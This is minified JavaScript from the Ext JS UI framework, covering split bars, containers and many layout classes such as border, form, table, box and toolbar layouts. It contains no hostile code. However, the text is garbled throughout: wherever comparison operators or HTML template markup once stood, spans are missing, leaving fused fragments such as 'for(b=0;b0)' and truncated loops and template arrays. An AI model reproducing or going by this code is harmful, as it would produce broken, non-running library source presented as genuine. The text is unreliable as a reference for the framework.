Ext.Element(document.createElement("div"));document.body.appendChild(c.dom);c.unselectable();var a="x-splitbar-proxy";c.addClass(a+" "+(b==Ext.SplitBar.HORIZONTAL?a+"-h":a+"-v"));return c.dom};Ext.SplitBar.BasicLayoutAdapter=function(){};Ext.SplitBar.BasicLayoutAdapter.prototype={init:function(a){},getElementSize:function(a){if(a.orientation==Ext.SplitBar.HORIZONTAL){return a.resizingEl.getWidth()}else{return a.resizingEl.getHeight()}},setElementSize:function(b,a,c){if(b.orientation==Ext.SplitBar.HORIZONTAL){if(!b.animate){b.resizingEl.setWidth(a);if(c){c(b,a)}}else{b.resizingEl.setWidth(a,true,0.1,c,"easeOut")}}else{if(!b.animate){b.resizingEl.setHeight(a);if(c){c(b,a)}}else{b.resizingEl.setHeight(a,true,0.1,c,"easeOut")}}}};Ext.SplitBar.AbsoluteLayoutAdapter=function(a){this.basic=new Ext.SplitBar.BasicLayoutAdapter();this.container=Ext.get(a)};Ext.SplitBar.AbsoluteLayoutAdapter.prototype={init:function(a){this.basic.init(a)},getElementSize:function(a){return this.basic.getElementSize(a)},setElementSize:function(b,a,c){this.basic.setElementSize(b,a,this.moveSplitter.createDelegate(this,[b]))},moveSplitter:function(a){var b=Ext.SplitBar;switch(a.placement){case b.LEFT:a.el.setX(a.resizingEl.getRight());break;case b.RIGHT:a.el.setStyle("right",(this.container.getWidth()-a.resizingEl.getLeft())+"px");break;case b.TOP:a.el.setY(a.resizingEl.getBottom());break;case b.BOTTOM:a.el.setY(a.resizingEl.getTop()-a.el.getHeight());break}}};Ext.SplitBar.VERTICAL=1;Ext.SplitBar.HORIZONTAL=2;Ext.SplitBar.LEFT=1;Ext.SplitBar.RIGHT=2;Ext.SplitBar.TOP=3;Ext.SplitBar.BOTTOM=4;Ext.Container=Ext.extend(Ext.BoxComponent,{bufferResize:50,autoDestroy:true,forceLayout:false,defaultType:"panel",resizeEvent:"resize",bubbleEvents:["add","remove"],initComponent:function(){Ext.Container.superclass.initComponent.call(this);this.addEvents("afterlayout","beforeadd","beforeremove","add","remove");var a=this.items;if(a){delete this.items;this.add(a)}},initItems:function(){if(!this.items){this.items=new Ext.util.MixedCollection(false,this.getComponentId);this.getLayout()}},setLayout:function(a){if(this.layout&&this.layout!=a){this.layout.setContainer(null)}this.layout=a;this.initItems();a.setContainer(this)},afterRender:function(){Ext.Container.superclass.afterRender.call(this);if(!this.layout){this.layout="auto"}if(Ext.isObject(this.layout)&&!this.layout.layout){this.layoutConfig=this.layout;this.layout=this.layoutConfig.type}if(Ext.isString(this.layout)){this.layout=new Ext.Container.LAYOUTS[this.layout.toLowerCase()](this.layoutConfig)}this.setLayout(this.layout);if(this.activeItem!==undefined&&this.layout.setActiveItem){var a=this.activeItem;delete this.activeItem;this.layout.setActiveItem(a)}if(!this.ownerCt){this.doLayout(false,true)}if(this.monitorResize===true){Ext.EventManager.onWindowResize(this.doLayout,this,[false])}},getLayoutTarget:function(){return this.el},getComponentId:function(a){return a.getItemId()},add:function(b){this.initItems();var e=arguments.length>1;if(e||Ext.isArray(b)){var a=[];Ext.each(e?arguments:b,function(h){a.push(this.add(h))},this);return a}var g=this.lookupComponent(this.applyDefaults(b));var d=this.items.length;if(this.fireEvent("beforeadd",this,g,d)!==false&&this.onBeforeAdd(g)!==false){this.items.add(g);g.onAdded(this,d);this.onAdd(g);this.fireEvent("add",this,g,d)}return g},onAdd:function(a){},onAdded:function(a,b){this.ownerCt=a;this.initRef();this.cascade(function(d){d.initRef()});this.fireEvent("added",this,a,b)},insert:function(e,b){var d=arguments,h=d.length,a=[],g,k;this.initItems();if(h>2){for(g=h-1;g>=1;--g){a.push(this.insert(e,d[g]))}return a}k=this.lookupComponent(this.applyDefaults(b));e=Math.min(e,this.items.length);if(this.fireEvent("beforeadd",this,k,e)!==false&&this.onBeforeAdd(k)!==false){if(k.ownerCt==this){this.items.remove(k)}this.items.insert(e,k);k.onAdded(this,e);this.onAdd(k);this.fireEvent("add",this,k,e)}return k},applyDefaults:function(b){var a=this.defaults;if(a){if(Ext.isFunction(a)){a=a.call(this,b)}if(Ext.isString(b)){b=Ext.ComponentMgr.get(b);Ext.apply(b,a)}else{if(!b.events){Ext.applyIf(b.isAction?b.initialConfig:b,a)}else{Ext.apply(b,a)}}}return b},onBeforeAdd:function(a){if(a.ownerCt){a.ownerCt.remove(a,false)}if(this.hideBorders===true){a.border=(a.border===true)}},remove:function(a,b){this.initItems();var d=this.getComponent(a);if(d&&this.fireEvent("beforeremove",this,d)!==false){this.doRemove(d,b);this.fireEvent("remove",this,d)}return d},onRemove:function(a){},doRemove:function(e,d){var b=this.layout,a=b&&this.rendered;if(a){b.onRemove(e)}this.items.remove(e);e.onRemoved();this.onRemove(e);if(d===true||(d!==false&&this.autoDestroy)){e.destroy()}if(a){b.afterRemove(e)}},removeAll:function(c){this.initItems();var e,g=[],b=[];this.items.each(function(h){g.push(h)});for(var d=0,a=g.length;d','','
','
',"");a.disableFormats=true;return a.compile()})(),destroy:function(){if(this.resizeTask&&this.resizeTask.cancel){this.resizeTask.cancel()}if(this.container){this.container.un(this.container.resizeEvent,this.onResize,this)}if(!Ext.isEmpty(this.targetCls)){var a=this.container.getLayoutTarget();if(a){a.removeClass(this.targetCls)}}}});Ext.layout.AutoLayout=Ext.extend(Ext.layout.ContainerLayout,{type:"auto",monitorResize:true,onLayout:function(d,g){Ext.layout.AutoLayout.superclass.onLayout.call(this,d,g);var e=this.getRenderedItems(d),a=e.length,b,h;for(b=0;b0){b.setSize(a)}}});Ext.Container.LAYOUTS.fit=Ext.layout.FitLayout;Ext.layout.CardLayout=Ext.extend(Ext.layout.FitLayout,{deferredRender:false,layoutOnCardChange:false,renderHidden:true,type:"card",setActiveItem:function(d){var a=this.activeItem,b=this.container;d=b.getComponent(d);if(d&&a!=d){if(a){a.hide();if(a.hidden!==true){return false}a.fireEvent("deactivate",a)}var c=d.doLayout&&(this.layoutOnCardChange||!d.rendered);this.activeItem=d;delete d.deferLayout;d.show();this.layout();if(c){d.doLayout()}d.fireEvent("activate",d)}},renderAll:function(a,b){if(this.deferredRender){this.renderItem(this.activeItem,undefined,b)}else{Ext.layout.CardLayout.superclass.renderAll.call(this,a,b)}}});Ext.Container.LAYOUTS.card=Ext.layout.CardLayout;Ext.layout.AnchorLayout=Ext.extend(Ext.layout.ContainerLayout,{monitorResize:true,type:"anchor",defaultAnchor:"100%",parseAnchorRE:/^(r|right|b|bottom)$/i,getLayoutTargetSize:function(){var b=this.container.getLayoutTarget(),a={};if(b){a=b.getViewSize();if(Ext.isIE&&Ext.isStrict&&a.width==0){a=b.getStyleSize()}a.width-=b.getPadding("lr");a.height-=b.getPadding("tb")}return a},onLayout:function(n,x){Ext.layout.AnchorLayout.superclass.onLayout.call(this,n,x);var q=this.getLayoutTargetSize(),l=q.width,p=q.height,r=x.getStyle("overflow"),o=this.getRenderedItems(n),u=o.length,g=[],k,a,w,m,h,c,e,d,v=0,t,b;if(l<20&&p<20){return}if(n.anchorSize){if(typeof n.anchorSize=="number"){a=n.anchorSize}else{a=n.anchorSize.width;w=n.anchorSize.height}}else{a=n.initialConfig.width;w=n.initialConfig.height}for(t=0;t ');b.disableFormats=true;b.compile();Ext.layout.BorderLayout.Region.prototype.toolTemplate=b}this.collapsedEl=this.targetEl.createChild({cls:"x-layout-collapsed x-layout-collapsed-"+this.position,id:this.panel.id+"-xcollapsed"});this.collapsedEl.enableDisplayMode("block");if(this.collapseMode=="mini"){this.collapsedEl.addClass("x-layout-cmini-"+this.position);this.miniCollapsedEl=this.collapsedEl.createChild({cls:"x-layout-mini x-layout-mini-"+this.position,html:" "});this.miniCollapsedEl.addClassOnOver("x-layout-mini-over");this.collapsedEl.addClassOnOver("x-layout-collapsed-over");this.collapsedEl.on("click",this.onExpandClick,this,{stopEvent:true})}else{if(this.collapsible!==false&&!this.hideCollapseTool){var a=this.expandToolEl=this.toolTemplate.append(this.collapsedEl.dom,{id:"expand-"+this.position},true);a.addClassOnOver("x-tool-expand-"+this.position+"-over");a.on("click",this.onExpandClick,this,{stopEvent:true})}if(this.floatable!==false||this.titleCollapse){this.collapsedEl.addClassOnOver("x-layout-collapsed-over");this.collapsedEl.on("click",this[this.floatable?"collapseClick":"onExpandClick"],this)}}}return this.collapsedEl},onExpandClick:function(a){if(this.isSlid){this.panel.expand(false)}else{this.panel.expand()}},onCollapseClick:function(a){this.panel.collapse()},beforeCollapse:function(c,a){this.lastAnim=a;if(this.splitEl){this.splitEl.hide()}this.getCollapsedEl().show();var b=this.panel.getEl();this.originalZIndex=b.getStyle("z-index");b.setStyle("z-index",100);this.isCollapsed=true;this.layout.layout()},onCollapse:function(a){this.panel.el.setStyle("z-index",1);if(this.lastAnim===false||this.panel.animCollapse===false){this.getCollapsedEl().dom.style.visibility="visible"}else{this.getCollapsedEl().slideIn(this.panel.slideAnchor,{duration:0.2})}this.state.collapsed=true;this.panel.saveState()},beforeExpand:function(a){if(this.isSlid){this.afterSlideIn()}var b=this.getCollapsedEl();this.el.show();if(this.position=="east"||this.position=="west"){this.panel.setSize(undefined,b.getHeight())}else{this.panel.setSize(b.getWidth(),undefined)}b.hide();b.dom.style.visibility="hidden";this.panel.el.setStyle("z-index",this.floatingZIndex)},onExpand:function(){this.isCollapsed=false;if(this.splitEl){this.splitEl.show()}this.layout.layout();this.panel.el.setStyle("z-index",this.originalZIndex);this.state.collapsed=false;this.panel.saveState()},collapseClick:function(a){if(this.isSlid){a.stopPropagation();this.slideIn()}else{a.stopPropagation();this.slideOut()}},onHide:function(){if(this.isCollapsed){this.getCollapsedEl().hide()}else{if(this.splitEl){this.splitEl.hide()}}},onShow:function(){if(this.isCollapsed){this.getCollapsedEl().show()}else{if(this.splitEl){this.splitEl.show()}}},isVisible:function(){return !this.panel.hidden},getMargins:function(){return this.isCollapsed&&this.cmargins?this.cmargins:this.margins},getSize:function(){return this.isCollapsed?this.getCollapsedEl().getSize():this.panel.getSize()},setPanel:function(a){this.panel=a},getMinWidth:function(){return this.minWidth},getMinHeight:function(){return this.minHeight},applyLayoutCollapsed:function(a){var b=this.getCollapsedEl();b.setLeftTop(a.x,a.y);b.setSize(a.width,a.height)},applyLayout:function(a){if(this.isCollapsed){this.applyLayoutCollapsed(a)}else{this.panel.setPosition(a.x,a.y);this.panel.setSize(a.width,a.height)}},beforeSlide:function(){this.panel.beforeEffect()},afterSlide:function(){this.panel.afterEffect()},initAutoHide:function(){if(this.autoHide!==false){if(!this.autoHideHd){this.autoHideSlideTask=new Ext.util.DelayedTask(this.slideIn,this);this.autoHideHd={mouseout:function(a){if(!a.within(this.el,true)){this.autoHideSlideTask.delay(500)}},mouseover:function(a){this.autoHideSlideTask.cancel()},scope:this}}this.el.on(this.autoHideHd);this.collapsedEl.on(this.autoHideHd)}},clearAutoHide:function(){if(this.autoHide!==false){this.el.un("mouseout",this.autoHideHd.mouseout);this.el.un("mouseover",this.autoHideHd.mouseover);this.collapsedEl.un("mouseout",this.autoHideHd.mouseout);this.collapsedEl.un("mouseover",this.autoHideHd.mouseover)}},clearMonitor:function(){Ext.getDoc().un("click",this.slideInIf,this)},slideOut:function(){if(this.isSlid||this.el.hasActiveFx()){return}this.isSlid=true;var b=this.panel.tools,c,a;if(b&&b.toggle){b.toggle.hide()}this.el.show();a=this.panel.collapsed;this.panel.collapsed=false;if(this.position=="east"||this.position=="west"){c=this.panel.deferHeight;this.panel.deferHeight=false;this.panel.setSize(undefined,this.collapsedEl.getHeight());this.panel.deferHeight=c}else{this.panel.setSize(this.collapsedEl.getWidth(),undefined)}this.panel.collapsed=a;this.restoreLT=[this.el.dom.style.left,this.el.dom.style.top];this.el.alignTo(this.collapsedEl,this.getCollapseAnchor());this.el.setStyle("z-index",this.floatingZIndex+2);this.panel.el.replaceClass("x-panel-collapsed","x-panel-floating");if(this.animFloat!==false){this.beforeSlide();this.el.slideIn(this.getSlideAnchor(),{callback:function(){this.afterSlide();this.initAutoHide();Ext.getDoc().on("click",this.slideInIf,this)},scope:this,block:true})}else{this.initAutoHide();Ext.getDoc().on("click",this.slideInIf,this)}},afterSlideIn:function(){this.clearAutoHide();this.isSlid=false;this.clearMonitor();this.el.setStyle("z-index","");this.panel.el.replaceClass("x-panel-floating","x-panel-collapsed");this.el.dom.style.left=this.restoreLT[0];this.el.dom.style.top=this.restoreLT[1];var a=this.panel.tools;if(a&&a.toggle){a.toggle.show()}},slideIn:function(a){if(!this.isSlid||this.el.hasActiveFx()){Ext.callback(a);return}this.isSlid=false;if(this.animFloat!==false){this.beforeSlide();this.el.slideOut(this.getSlideAnchor(),{callback:function(){this.el.hide();this.afterSlide();this.afterSlideIn();Ext.callback(a)},scope:this,block:true})}else{this.el.hide();this.afterSlideIn()}},slideInIf:function(a){if(!a.within(this.el)){this.slideIn()}},anchors:{west:"left",east:"right",north:"top",south:"bottom"},sanchors:{west:"l",east:"r",north:"t",south:"b"},canchors:{west:"tl-tr",east:"tr-tl",north:"tl-bl",south:"bl-tl"},getAnchor:function(){return this.anchors[this.position]},getCollapseAnchor:function(){return this.canchors[this.position]},getSlideAnchor:function(){return this.sanchors[this.position]},getAlignAdj:function(){var a=this.cmargins;switch(this.position){case"west":return[0,0];break;case"east":return[0,0];break;case"north":return[0,0];break;case"south":return[0,0];break}},getExpandAdj:function(){var b=this.collapsedEl,a=this.cmargins;switch(this.position){case"west":return[-(a.right+b.getWidth()+a.left),0];break;case"east":return[a.right+b.getWidth()+a.left,0];break;case"north":return[0,-(a.top+a.bottom+b.getHeight())];break;case"south":return[0,a.top+a.bottom+b.getHeight()];break}},destroy:function(){if(this.autoHideSlideTask&&this.autoHideSlideTask.cancel){this.autoHideSlideTask.cancel()}Ext.destroyMembers(this,"miniCollapsedEl","collapsedEl","expandToolEl")}};Ext.layout.BorderLayout.SplitRegion=function(b,a,c){Ext.layout.BorderLayout.SplitRegion.superclass.constructor.call(this,b,a,c);this.applyLayout=this.applyFns[c]};Ext.extend(Ext.layout.BorderLayout.SplitRegion,Ext.layout.BorderLayout.Region,{splitTip:"Drag to resize.",collapsibleSplitTip:"Drag to resize. Double click to hide.",useSplitTips:false,splitSettings:{north:{orientation:Ext.SplitBar.VERTICAL,placement:Ext.SplitBar.TOP,maxFn:"getVMaxSize",minProp:"minHeight",maxProp:"maxHeight"},south:{orientation:Ext.SplitBar.VERTICAL,placement:Ext.SplitBar.BOTTOM,maxFn:"getVMaxSize",minProp:"minHeight",maxProp:"maxHeight"},east:{orientation:Ext.SplitBar.HORIZONTAL,placement:Ext.SplitBar.RIGHT,maxFn:"getHMaxSize",minProp:"minWidth",maxProp:"maxWidth"},west:{orientation:Ext.SplitBar.HORIZONTAL,placement:Ext.SplitBar.LEFT,maxFn:"getHMaxSize",minProp:"minWidth",maxProp:"maxWidth"}},applyFns:{west:function(c){if(this.isCollapsed){return this.applyLayoutCollapsed(c)}var d=this.splitEl.dom,b=d.style;this.panel.setPosition(c.x,c.y);var a=d.offsetWidth;b.left=(c.x+c.width-a)+"px";b.top=(c.y)+"px";b.height=Math.max(0,c.height)+"px";this.panel.setSize(c.width-a,c.height)},east:function(c){if(this.isCollapsed){return this.applyLayoutCollapsed(c)}var d=this.splitEl.dom,b=d.style;var a=d.offsetWidth;this.panel.setPosition(c.x+a,c.y);b.left=(c.x)+"px";b.top=(c.y)+"px";b.height=Math.max(0,c.height)+"px";this.panel.setSize(c.width-a,c.height)},north:function(c){if(this.isCollapsed){return this.applyLayoutCollapsed(c)}var d=this.splitEl.dom,b=d.style;var a=d.offsetHeight;this.panel.setPosition(c.x,c.y);b.left=(c.x)+"px";b.top=(c.y+c.height-a)+"px";b.width=Math.max(0,c.width)+"px";this.panel.setSize(c.width,c.height-a)},south:function(c){if(this.isCollapsed){return this.applyLayoutCollapsed(c)}var d=this.splitEl.dom,b=d.style;var a=d.offsetHeight;this.panel.setPosition(c.x,c.y+a);b.left=(c.x)+"px";b.top=(c.y)+"px";b.width=Math.max(0,c.width)+"px";this.panel.setSize(c.width,c.height-a)}},render:function(a,c){Ext.layout.BorderLayout.SplitRegion.superclass.render.call(this,a,c);var d=this.position;this.splitEl=a.createChild({cls:"x-layout-split x-layout-split-"+d,html:" ",id:this.panel.id+"-xsplit"});if(this.collapseMode=="mini"){this.miniSplitEl=this.splitEl.createChild({cls:"x-layout-mini x-layout-mini-"+d,html:" "});this.miniSplitEl.addClassOnOver("x-layout-mini-over");this.miniSplitEl.on("click",this.onCollapseClick,this,{stopEvent:true})}var b=this.splitSettings[d];this.split=new Ext.SplitBar(this.splitEl.dom,c.el,b.orientation);this.split.tickSize=this.tickSize;this.split.placement=b.placement;this.split.getMaximumSize=this[b.maxFn].createDelegate(this);this.split.minSize=this.minSize||this[b.minProp];this.split.on("beforeapply",this.onSplitMove,this);this.split.useShim=this.useShim===true;this.maxSize=this.maxSize||this[b.maxProp];if(c.hidden){this.splitEl.hide()}if(this.useSplitTips){this.splitEl.dom.title=this.collapsible?this.collapsibleSplitTip:this.splitTip}if(this.collapsible){this.splitEl.on("dblclick",this.onCollapseClick,this)}},getSize:function(){if(this.isCollapsed){return this.collapsedEl.getSize()}var a=this.panel.getSize();if(this.position=="north"||this.position=="south"){a.height+=this.splitEl.dom.offsetHeight}else{a.width+=this.splitEl.dom.offsetWidth}return a},getHMaxSize:function(){var b=this.maxSize||10000;var a=this.layout.center;return Math.min(b,(this.el.getWidth()+a.el.getWidth())-a.getMinWidth())},getVMaxSize:function(){var b=this.maxSize||10000;var a=this.layout.center;return Math.min(b,(this.el.getHeight()+a.el.getHeight())-a.getMinHeight())},onSplitMove:function(b,a){var c=this.panel.getSize();this.lastSplitSize=a;if(this.position=="north"||this.position=="south"){this.panel.setSize(c.width,a);this.state.height=a}else{this.panel.setSize(a,c.height);this.state.width=a}this.layout.layout();this.panel.saveState();return false},getSplitBar:function(){return this.split},destroy:function(){Ext.destroy(this.miniSplitEl,this.split,this.splitEl);Ext.layout.BorderLayout.SplitRegion.superclass.destroy.call(this)}});Ext.Container.LAYOUTS.border=Ext.layout.BorderLayout;Ext.layout.FormLayout=Ext.extend(Ext.layout.AnchorLayout,{labelSeparator:":",trackLabels:true,type:"form",onRemove:function(d){Ext.layout.FormLayout.superclass.onRemove.call(this,d);if(this.trackLabels){d.un("show",this.onFieldShow,this);d.un("hide",this.onFieldHide,this)}var b=d.getPositionEl(),a=d.getItemCt&&d.getItemCt();if(d.rendered&&a){if(b&&b.dom){b.insertAfter(a)}Ext.destroy(a);Ext.destroyMembers(d,"label","itemCt");if(d.customItemCt){Ext.destroyMembers(d,"getItemCt","customItemCt")}}},setContainer:function(a){Ext.layout.FormLayout.superclass.setContainer.call(this,a);if(a.labelAlign){a.addClass("x-form-label-"+a.labelAlign)}if(a.hideLabels){Ext.apply(this,{labelStyle:"display:none",elementStyle:"padding-left:0;",labelAdjust:0})}else{this.labelSeparator=Ext.isDefined(a.labelSeparator)?a.labelSeparator:this.labelSeparator;a.labelWidth=a.labelWidth||100;if(Ext.isNumber(a.labelWidth)){var b=Ext.isNumber(a.labelPad)?a.labelPad:5;Ext.apply(this,{labelAdjust:a.labelWidth+b,labelStyle:"width:"+a.labelWidth+"px;",elementStyle:"padding-left:"+(a.labelWidth+b)+"px"})}if(a.labelAlign=="top"){Ext.apply(this,{labelStyle:"width:auto;",labelAdjust:0,elementStyle:"padding-left:0;"})}}},isHide:function(a){return a.hideLabel||this.container.hideLabels},onFieldShow:function(a){a.getItemCt().removeClass("x-hide-"+a.hideMode);if(a.isComposite){a.doLayout()}},onFieldHide:function(a){a.getItemCt().addClass("x-hide-"+a.hideMode)},getLabelStyle:function(e){var b="",c=[this.labelStyle,e];for(var d=0,a=c.length;d=b)||(this.cells[c]&&this.cells[c][a])){if(b&&a>=b){c++;a=0}else{a++}}return[a,c]},renderItem:function(e,a,d){if(!this.table){this.table=d.createChild(Ext.apply({tag:"table",cls:"x-table-layout",cellspacing:0,cn:{tag:"tbody"}},this.tableAttrs),null,true)}if(e&&!e.rendered){e.render(this.getNextCell(e));this.configureItem(e)}else{if(e&&!this.isValidParent(e,d)){var b=this.getNextCell(e);b.insertBefore(e.getPositionEl().dom,null);e.container=Ext.get(b);this.configureItem(e)}}},isValidParent:function(b,a){return b.getPositionEl().up("table",5).dom.parentNode===(a.dom||a)},destroy:function(){delete this.table;Ext.layout.TableLayout.superclass.destroy.call(this)}});Ext.Container.LAYOUTS.table=Ext.layout.TableLayout;Ext.layout.AbsoluteLayout=Ext.extend(Ext.layout.AnchorLayout,{extraCls:"x-abs-layout-item",type:"absolute",onLayout:function(a,b){b.position();this.paddingLeft=b.getPadding("l");this.paddingTop=b.getPadding("t");Ext.layout.AbsoluteLayout.superclass.onLayout.call(this,a,b)},adjustWidthAnchor:function(b,a){return b?b-a.getPosition(true)[0]+this.paddingLeft:b},adjustHeightAnchor:function(b,a){return b?b-a.getPosition(true)[1]+this.paddingTop:b}});Ext.Container.LAYOUTS.absolute=Ext.layout.AbsoluteLayout;Ext.layout.BoxLayout=Ext.extend(Ext.layout.ContainerLayout,{defaultMargins:{left:0,top:0,right:0,bottom:0},padding:"0",pack:"start",monitorResize:true,type:"box",scrollOffset:0,extraCls:"x-box-item",targetCls:"x-box-layout-ct",innerCls:"x-box-inner",constructor:function(a){Ext.layout.BoxLayout.superclass.constructor.call(this,a);if(Ext.isString(this.defaultMargins)){this.defaultMargins=this.parseMargins(this.defaultMargins)}var d=this.overflowHandler;if(typeof d=="string"){d={type:d}}var c="none";if(d&&d.type!=undefined){c=d.type}var b=Ext.layout.boxOverflow[c];if(b[this.type]){b=b[this.type]}this.overflowHandler=new b(this,d)},onLayout:function(b,h){Ext.layout.BoxLayout.superclass.onLayout.call(this,b,h);var d=this.getLayoutTargetSize(),i=this.getVisibleItems(b),c=this.calculateChildBoxes(i,d),g=c.boxes,k=c.meta;if(d.width>0){var l=this.overflowHandler,a=k.tooNarrow?"handleOverflow":"clearOverflow";var e=l[a](c,d);if(e){if(e.targetSize){d=e.targetSize}if(e.recalculate){i=this.getVisibleItems(b);c=this.calculateChildBoxes(i,d);g=c.boxes}}}this.layoutTargetLastSize=d;this.childBoxCache=c;this.updateInnerCtSize(d,c);this.updateChildBoxes(g);this.handleTargetOverflow(d,b,h)},updateChildBoxes:function(c){for(var b=0,e=c.length;b(None)',constructor:function(a){Ext.layout.boxOverflow.Menu.superclass.constructor.apply(this,arguments);this.menuItems=[]},createInnerElements:function(){if(!this.afterCt){this.afterCt=this.layout.innerCt.insertSibling({cls:this.afterCls},"before")}},clearOverflow:function(a,g){var e=g.width+(this.afterCt?this.afterCt.getWidth():0),b=this.menuItems;this.hideTrigger();for(var c=0,d=b.length;ci.width;return m}},handleOverflow:function(d,h){this.showTrigger();var l=h.width-this.afterCt.getWidth(),m=d.boxes,e=0,s=false;for(var p=0,c=m.length;p=0;k--){var r=m[k].component,q=m[k].left+m[k].width;if(q>=l){this.menuItems.unshift({component:r,width:m[k].width});r.hide()}else{break}}}if(this.menuItems.length==0){this.hideTrigger()}return{targetSize:{height:h.height,width:l},recalculate:s}}});Ext.layout.boxOverflow.menu.hbox=Ext.layout.boxOverflow.HorizontalMenu;Ext.layout.boxOverflow.Scroller=Ext.extend(Ext.layout.boxOverflow.None,{animateScroll:true,scrollIncrement:100,wheelIncrement:3,scrollRepeatInterval:400,scrollDuration:0.4,beforeCls:"x-strip-left",afterCls:"x-strip-right",scrollerCls:"x-strip-scroller",beforeScrollerCls:"x-strip-scroller-left",afterScrollerCls:"x-strip-scroller-right",createWheelListener:function(){this.layout.innerCt.on({scope:this,mousewheel:function(a){a.stopEvent();this.scrollBy(a.getWheelDelta()*this.wheelIncrement*-1,false)}})},handleOverflow:function(a,b){this.createInnerElements();this.showScrollers()},clearOverflow:function(){this.hideScrollers()},showScrollers:function(){this.createScrollers();this.beforeScroller.show();this.afterScroller.show();this.updateScrollButtons()},hideScrollers:function(){if(this.beforeScroller!=undefined){this.beforeScroller.hide();this.afterScroller.hide()}},createScrollers:function(){if(!this.beforeScroller&&!this.afterScroller){var a=this.beforeCt.createChild({cls:String.format("{0} {1} ",this.scrollerCls,this.beforeScrollerCls)});var b=this.afterCt.createChild({cls:String.format("{0} {1}",this.scrollerCls,this.afterScrollerCls)});a.addClassOnOver(this.beforeScrollerCls+"-hover");b.addClassOnOver(this.afterScrollerCls+"-hover");a.setVisibilityMode(Ext.Element.DISPLAY);b.setVisibilityMode(Ext.Element.DISPLAY);this.beforeRepeater=new Ext.util.ClickRepeater(a,{interval:this.scrollRepeatInterval,handler:this.scrollLeft,scope:this});this.afterRepeater=new Ext.util.ClickRepeater(b,{interval:this.scrollRepeatInterval,handler:this.scrollRight,scope:this});this.beforeScroller=a;this.afterScroller=b}},destroy:function(){Ext.destroy(this.beforeScroller,this.afterScroller,this.beforeRepeater,this.afterRepeater,this.beforeCt,this.afterCt)},scrollBy:function(b,a){this.scrollTo(this.getScrollPosition()+b,a)},getItem:function(a){if(Ext.isString(a)){a=Ext.getCmp(a)}else{if(Ext.isNumber(a)){a=this.items[a]}}return a},getScrollAnim:function(){return{duration:this.scrollDuration,callback:this.updateScrollButtons,scope:this}},updateScrollButtons:function(){if(this.beforeScroller==undefined||this.afterScroller==undefined){return}var d=this.atExtremeBefore()?"addClass":"removeClass",c=this.atExtremeAfter()?"addClass":"removeClass",a=this.beforeScrollerCls+"-disabled",b=this.afterScrollerCls+"-disabled";this.beforeScroller[d](a);this.afterScroller[c](b);this.scrolling=false},atExtremeBefore:function(){return this.getScrollPosition()===0},scrollLeft:function(a){this.scrollBy(-this.scrollIncrement,a)},scrollRight:function(a){this.scrollBy(this.scrollIncrement,a)},scrollToItem:function(d,b){d=this.getItem(d);if(d!=undefined){var a=this.getItemVisibility(d);if(!a.fullyVisible){var c=d.getBox(true,true),e=c.x;if(a.hiddenRight){e-=(this.layout.innerCt.getWidth()-c.width)}this.scrollTo(e,b)}}},getItemVisibility:function(e){var d=this.getItem(e).getBox(true,true),a=d.x,c=d.x+d.width,g=this.getScrollPosition(),b=this.layout.innerCt.getWidth()+g;return{hiddenLeft:ab,fullyVisible:a>g&&c=this.getMaxScrollBottom()}});Ext.layout.boxOverflow.scroller.vbox=Ext.layout.boxOverflow.VerticalScroller;Ext.layout.boxOverflow.HorizontalScroller=Ext.extend(Ext.layout.boxOverflow.Scroller,{handleOverflow:function(a,b){Ext.layout.boxOverflow.HorizontalScroller.superclass.handleOverflow.apply(this,arguments);return{targetSize:{height:b.height,width:b.width-(this.beforeCt.getWidth()+this.afterCt.getWidth())}}},createInnerElements:function(){var a=this.layout.innerCt;if(!this.beforeCt){this.afterCt=a.insertSibling({cls:this.afterCls},"before");this.beforeCt=a.insertSibling({cls:this.beforeCls},"before");this.createWheelListener()}},scrollTo:function(a,b){var d=this.getScrollPosition(),c=a.constrain(0,this.getMaxScrollRight());if(c!=d&&!this.scrolling){if(b==undefined){b=this.animateScroll}this.layout.innerCt.scrollTo("left",c,b?this.getScrollAnim():false);if(b){this.scrolling=true}else{this.scrolling=false;this.updateScrollButtons()}}},getScrollPosition:function(){return parseInt(this.layout.innerCt.dom.scrollLeft,10)||0},getMaxScrollRight:function(){return this.layout.innerCt.dom.scrollWidth-this.layout.innerCt.getWidth()},atExtremeAfter:function(){return this.getScrollPosition()>=this.getMaxScrollRight()}});Ext.layout.boxOverflow.scroller.hbox=Ext.layout.boxOverflow.HorizontalScroller;Ext.layout.HBoxLayout=Ext.extend(Ext.layout.BoxLayout,{align:"top",type:"hbox",calculateChildBoxes:function(s,b){var G=s.length,S=this.padding,E=S.top,V=S.left,z=E+S.bottom,P=V+S.right,a=b.width-this.scrollOffset,e=b.height,p=Math.max(0,e-z),Q=this.pack=="start",X=this.pack=="center",B=this.pack=="end",M=0,R=0,U=0,m=0,Y=0,I=[],l,K,N,W,x,k,T,J,c,y,r,O;for(T=0;Ta;var o=Math.max(0,a-M-P);if(q){for(T=0;T0){var D=[];for(var F=0,w=G;Fi.available?1:-1});for(var T=0,w=D.length;T0){J.top=E+r+(A/2)}}V+=J.width+x.right}return{boxes:I,meta:{maxHeight:R,nonFlexWidth:M,desiredWidth:m,minimumWidth:Y,shortfall:m-a,tooNarrow:q}}}});Ext.Container.LAYOUTS.hbox=Ext.layout.HBoxLayout;Ext.layout.VBoxLayout=Ext.extend(Ext.layout.BoxLayout,{align:"left",type:"vbox",calculateChildBoxes:function(q,b){var G=q.length,T=this.padding,E=T.top,W=T.left,z=E+T.bottom,Q=W+T.right,a=b.width-this.scrollOffset,d=b.height,M=Math.max(0,a-Q),R=this.pack=="start",Y=this.pack=="center",B=this.pack=="end",m=0,w=0,V=0,N=0,o=0,I=[],k,K,P,X,v,h,U,J,c,y,p,e;for(U=0;Ud;var s=Math.max(0,(d-m-z));if(n){for(U=0,t=G;U0){var L=[];for(var F=0,t=G;Fi.available?1:-1});for(var U=0,t=L.length;U0){J.left=W+y+(A/2)}}E+=J.height+v.bottom}return{boxes:I,meta:{maxWidth:w,nonFlexHeight:m,desiredHeight:N,minimumHeight:o,shortfall:N-d,tooNarrow:n}}}});Ext.Container.LAYOUTS.vbox=Ext.layout.VBoxLayout;Ext.layout.ToolbarLayout=Ext.extend(Ext.layout.ContainerLayout,{monitorResize:true,type:"toolbar",triggerWidth:18,noItemsMenuText:'
(None)
',lastOverflow:false,tableHTML:['',"","",'",'","","","
','',"",'',"","
","
','',"","","","","","","
",'',"",'',"","
","
",'',"",'',"","
","
","
